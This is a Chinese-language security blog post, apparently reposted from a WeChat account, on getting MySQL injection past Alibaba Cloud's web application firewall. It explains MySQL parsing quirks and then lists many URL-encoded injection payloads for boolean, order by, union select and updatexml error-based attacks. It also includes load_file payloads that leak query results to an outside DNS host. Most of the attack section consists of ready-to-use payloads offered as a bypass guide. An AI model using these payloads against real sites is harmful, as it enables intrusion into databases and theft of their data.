【干货】Mysql注入-Bypass啊理芸

admin 2021年11月14日07:19:08评论102 views字数 4407阅读14分41秒阅读模式
【干货】Mysql注入-Bypass啊理芸


mysql数据库


mysql的一些小技巧

WHERE id= '2.0abc' 转为数字时变成2

【干货】Mysql注入-Bypass啊理芸


url传入ascii大于80时进行x80编码
http://127.0.0.1/sql/Less-38/index.php?id=%80%81%82

【干货】Mysql注入-Bypass啊理芸


函数与括号之间可添加空格、换行、注释
select user (),database/**/(),version#123() from users;

【干货】Mysql注入-Bypass啊理芸


执行语句之间的空格,可用"/**/"、"换行%0a"替换
SELECT * FROMusers WHERE id= '3.0abc'-1/**/union/**/select'3.0abc',2,3fromusers;

【干货】Mysql注入-Bypass啊理芸

注释符:--,#,/**/#单行注释后面所有内容,换行后注释失效--和#号一样,但是后边必须有个空格,没空格则视为两个减号/*aaa*/可用多行注释注释内容在sql语句中解析为空格

【干货】Mysql注入-Bypass啊理芸


逻辑判断式1>1、'a'='b',from后的表格名,select语句,可用括号包裹
SELECT * FROM (users) WHERE (id='3.0abc') union (select '3.0abc',2,user() from (users));

【干货】Mysql注入-Bypass啊理芸


单双引号'"、括号()、反单引号``、星号*、与语句之间可以没有空格
SELECT*FROM(users)WHERE(id='3.0abc')union(select'3.0abc',2,user()from`users`);

【干货】Mysql注入-Bypass啊理芸

就列举几个啊,其他什么内联注释什么的基本不能用了。



构造绕过语句


绕waf无非就是构造语句,突破防sql的正则表达式


根据上面规则可以构造一些垃圾字符,插入语句中并能正常运行。

常用就是注释配合换行符,然后在注释部分插入不可解析的ascii码

--%20/*%99%0a--%20%0d%0a%23/*%99%0a%23/*%99%0a


找个阿里云的站,有没有注入点无所谓,只要阿里云没拦截,本地用mysql执行一下看看成功运行即可。

?id=1%27%20or%20%271

【干货】Mysql注入-Bypass啊理芸


看上面逻辑判断直接拦截啊,删除or前后空格

?id=1%27or%271           #字符型注入?id=1%20or%201           #数字型注入

【干货】Mysql注入-Bypass啊理芸


沒拦截,看看本地能运行不

这里我本地搭建的sqli环境

【干货】Mysql注入-Bypass啊理芸

【干货】Mysql注入-Bypass啊理芸

成功运行啊,后面简单说说其他常规语句的绕过


order by 1

order by常用于判断列表数

?id=1%27order%20by%20id%23?id=1%27order%23/*%99%0aby%23/*%99%0a4%23?id=1%20order%23/*%99%0aby%23/*%99%0aid%23?id=1%20order%23/*%99%0aby%23/*%99%0a4%23

【干货】Mysql注入-Bypass啊理芸


union select x from x

联合注入

?id=union%23/*%99%0aselect?id=union--%20%0d%0a%23/*%99%0aselect?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aa,2,asd?id=union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23%27?id=1%20union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,id,3%20from%20users%23?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0a1,%23/*%99%0auser(),3%20from%20users%23

【干货】Mysql注入-Bypass啊理芸


load_file()

dns外带查询,阿里云拦截率dnslog,所以使用别的网站

?id=1%27union--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.com/abc%22)%23?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%22//123.xxx.cn/abc%22))%23?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0a))%23
?id=concat(%27//%27,(select%23/*%99%0a123),%22.123.test.com/abc%22)
?id=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23?id=1%20%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23

【干货】Mysql注入-Bypass啊理芸


updatexml()

报错注入,其他报错函数绕过方式应该差不多

?id=updatexml%23/*%99%0a(1,1,1)?id=1%27and%20updatexml%23/*%99%0a(1,1,1)%23%27?id=1%20and%20updatexml%23/*%99%0a(1,1,1)
?id=updatexml%23/*%99%0d%0a(0,(%23/*%99%0d%0aselect%0aa),%27a)%27)?id=1%27%26%26updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23?id=1%20and%20updatexml%23/*%99%0d%0a(0,(%23%0aselect%23/*%99%0a111),%27a)%27)%23
concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e)
?id=1%27%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23

【干货】Mysql注入-Bypass啊理芸



其他


上面语句有的部分能过阿里云,但是一改参数名,就不行了


比如参数id可以过

?id=1%20and%20updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23

【干货】Mysql注入-Bypass啊理芸

参数改为title等其他的就不行了

【干货】Mysql注入-Bypass啊理芸


在已经构造好上面语句的基础上

这里只要改改and或者or为&&(%26%26)和||()的url编码删除或添加空格%20有可能绕过


上面语句and改为&&,删除前后空格即可绕过

?title=1%26%26updatexml%23/*%99%0d%0a(0,concat%0a%23concat)%0d%0a(%27//~%27,(select%23/*%99%0a123),0x7e),%27a)%27)%23

【干货】Mysql注入-Bypass啊理芸


再举个例子,参数改为title被拦截了

?title=1%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23

【干货】Mysql注入-Bypass啊理芸

数字1前面添加个空格%20就绕过了

?title=%201%27%26%26(--%20%0d%0a%23/*%99%0aselect--%20%0d%0a%23/*%99%0aload_file(%23/./%23/*%99%0d%0aconcat(%27//%27,(%23%0aselect%23/*%99%0a111),%27.123.text.com/abc%27)))%23

【干货】Mysql注入-Bypass啊理芸


很离谱,很玄学。

【往期推荐】

【内网渗透】内网信息收集命令汇总

【内网渗透】域内信息收集命令汇总

【超详细 | Python】CS免杀-Shellcode Loader原理(python)

【超详细 | Python】CS免杀-分离+混淆免杀思路

【超详细 | 钟馗之眼】ZoomEye-python命令行的使用

【超详细 | 附EXP】Weblogic CVE-2021-2394 RCE漏洞复现

【超详细】CVE-2020-14882 | Weblogic未授权命令执行漏洞复现

【超详细 | 附PoC】CVE-2021-2109 | Weblogic Server远程代码执行漏洞复现

【漏洞分析 | 附EXP】CVE-2021-21985 VMware vCenter Server 远程代码执行漏洞

【CNVD-2021-30167 | 附PoC】用友NC BeanShell远程代码执行漏洞复现

【奇淫巧技】如何成为一个合格的“FOFA”工程师

【超详细】Microsoft Exchange 远程代码执行漏洞复现【CVE-2020-17144】

【超详细】Fastjson1.2.24反序列化漏洞复现

  记一次HW实战笔记 | 艰难的提权爬坑

走过路过的大佬们留个关注再走呗【干货】Mysql注入-Bypass啊理芸

往期文章有彩蛋哦【干货】Mysql注入-Bypass啊理芸

【干货】Mysql注入-Bypass啊理芸

一如既往的学习,一如既往的整理,一如即往的分享【干货】Mysql注入-Bypass啊理芸

如侵权请私聊公众号删文

原文始发于微信公众号(渗透Xiao白帽):【干货】Mysql注入-Bypass啊理芸

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年11月14日07:19:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   【干货】Mysql注入-Bypass啊理芸http://cn-sec.com/archives/630938.html

发表评论

匿名网友 填写信息